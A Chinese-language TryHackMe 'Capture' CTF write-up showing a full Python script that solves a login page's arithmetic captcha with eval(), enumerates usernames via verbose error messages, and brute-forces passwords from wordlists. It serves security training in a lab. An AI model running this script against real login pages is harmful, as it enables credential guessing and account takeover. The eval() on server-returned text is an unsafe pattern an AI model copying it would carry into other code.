绕过登录验证的Python自动化脚本实战

本文详细介绍了如何通过Python脚本绕过易受攻击的Web应用程序登录表单,包括分析登录页面功能、解决验证码挑战、枚举有效用户名和密码,最终成功获取系统访问权限的完整技术流程。

Capture: TryHackMe CTF Writeup | 登录绕过

在本篇文章中,我们将绕过易受攻击的Web应用程序的登录表单,并使用Python脚本自动化整个过程。

房间信息

  • 房间链接:https://tryhackme.com/room/capture
  • 房间描述:SecureSolaCoders再次开发了一个Web应用程序。他们对黑客枚举和利用之前的登录表单感到厌倦。他们认为Web应用程序防火墙(WAF)过于夸张且不必要,因此开发了自己的速率限制器并稍微修改了代码。

准备阶段

  1. 启动目标机器并下载任务文件
  2. 启动攻击箱
  3. 连接到TryHackMe网络

下载任务文件

分析任务文件

下载并解压缩任务文件后,包含以下内容:

  • username.txt
  • passwords.txt

从以上文件可以看出,任务是对登录页面进行暴力破解,找到正确的凭据。

理解登录页面功能

首次访问IP地址时,可能会遇到以下网页:

登录页面

尝试使用任务文件中的多个错误凭据(username.txt和password.txt)后,启用了验证码以防止暴力攻击:

启用验证码

因此,我们需要每次解决验证码来验证用户名和密码。让我们在BurpSuite中捕获此请求:

BurpSuite中捕获的POST请求

可以看到POST请求包含的参数,很明显我们需要在每个请求中传递这三个参数来验证用户名和密码。

编码过程

为了自动化这个过程,我开发了自定义的Python脚本来找到正确的凭据。以下是Python脚本的代码片段以及脚本中使用的每个函数的解释:

1. 导入必要的库

1
2
3
4
5
6
7
8
9
import sys
import requests
import urllib3
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'http':'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}
s=requests.session()
reg_pattern= r'\d{1,}\s(.)\s\d{1,}'
  • import sys:提供对系统参数的访问,允许用户与程序交互,例如从用户获取参数值
  • import requests:处理Web请求和服务器响应
  • import urllib3:处理URL
  • import re:使用正则表达式工具匹配特定模式
  • proxies变量包含Web代理服务器的值,本例中使用BurpSuite
  • reg_pattern是从响应中提取验证码值并对其执行操作的模式

2. 从响应中提取验证码

1
2
3
4
5
6
def get_captcha(url):
    data= {'username':'test','password':'testpass'} #缺少验证码
    res=s.post(url=url, proxies=proxies, verify=False, data=data)
    challenge=re.search(reg_pattern, res.text)
    solution=eval(challenge.group().strip())
    return solution

此函数用于发出Web请求,并使用内置的eval()函数解决响应中的验证码挑战。

3. 枚举用户名

从响应中可以看到,网站显示"用户rachel不存在",而不是"用户名或密码无效"。这种不恰当的响应允许攻击者枚举用户名:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
def user_enum(url,user_list,captcha):
    print("(+) Enumerating users...")
    with open(user_list, 'r') as file:
        for username in file:
            username = username.strip()
            if username:
                data={'username':username,'password':'testpass','captcha':captcha}
                res=s.post(url=url, proxies=proxies, verify=False, data=data)
                if "does not exist" in res.text:
                    print(username)
                elif "Invalid captcha" in res.text:
                    print("[-] Invalid captcha")
                else:
                    print(f"[+] Username found: {username}")
                    return username, captcha
                challenge=re.search(reg_pattern, res.text)
                captcha=eval(challenge.group().strip())

4. 枚举密码

找到有效用户名后,调用pass_enum函数来枚举密码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def pass_enum(url, username, pass_list, captcha):
    print("(+) Enumerating password...")
        
    with open(pass_list, 'r') as file:
        for password in file:
            password = password.strip()
            if password:
                data= {'username':username,'password':password,'captcha':captcha}
                res=requests.post(url=url, proxies=proxies, verify=False, data=data)
                if "Invalid password" in res.text:
                    print(f"{username}:{password}")
                elif "Invalid captcha" in res.text:
                    print("[-] Invalid captcha")
                else:
                    print(f"[+] Password found: {password}")
                    return password
                challenge=re.search(reg_pattern, res.text)
                captcha=eval(challenge.group().strip())

主函数

从用户输入所需的值并按需调用函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
if __name__ == "__main__":
    if len(sys.argv)!=4:
        print("[+] Usage: %s URL path_to_user_wordlist path_to_pass_wordlist" %sys.argv[0])
        print("[+] Example: %s http://10.201.118.234/login users.txt pass.txt" %sys.argv[0])
        sys.exit(-1)
    
    url=sys.argv[1].strip()
    user_list=sys.argv[2].strip()
    pass_list=sys.argv[3].strip()
    
    for i in range(0,10): #触发速率限制,验证码挑战
        params={'username':'test', 'password':'test'}
        res=requests.post(url=url, data=params, verify=False, proxies=proxies)
        if "Invalid captcha" in res.text:
            break
            
    captcha=get_captcha(url)
    username,captcha=user_enum(url,user_list,captcha)
    password=pass_enum(url,username,pass_list,captcha)
    print(f"[+] Credentials {username}:{password}")

您可以使用以下Python脚本自动化过程并找到有效的凭据:

WebHacking_Playground/Auth_bypass/Capture/script.py at main · HuzaifaxMalik/WebHacking_Playground

现在运行脚本:

运行中的脚本

注意:在执行此脚本之前,请保持BurpSuite运行,因为此脚本需要Web代理工具在端口8080上监听。

找到的凭据

使用上面找到的凭据登录网页,这里是flag.txt:

找到的"flag"

这就是结束 :)

如果您想要更多Web黑客技术和CTF实验室文章,请在Medium上关注我以获取详细的Write-up。

在LinkedIn(https://www.linkedin.com/in/huzaifa-x-malik)上与我联系进行专业讨论。

您也可以加入我的X(https://www.x.com/Huzaifa_X_Malik)获取攻击性安全世界的快速提示、技术和想法。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计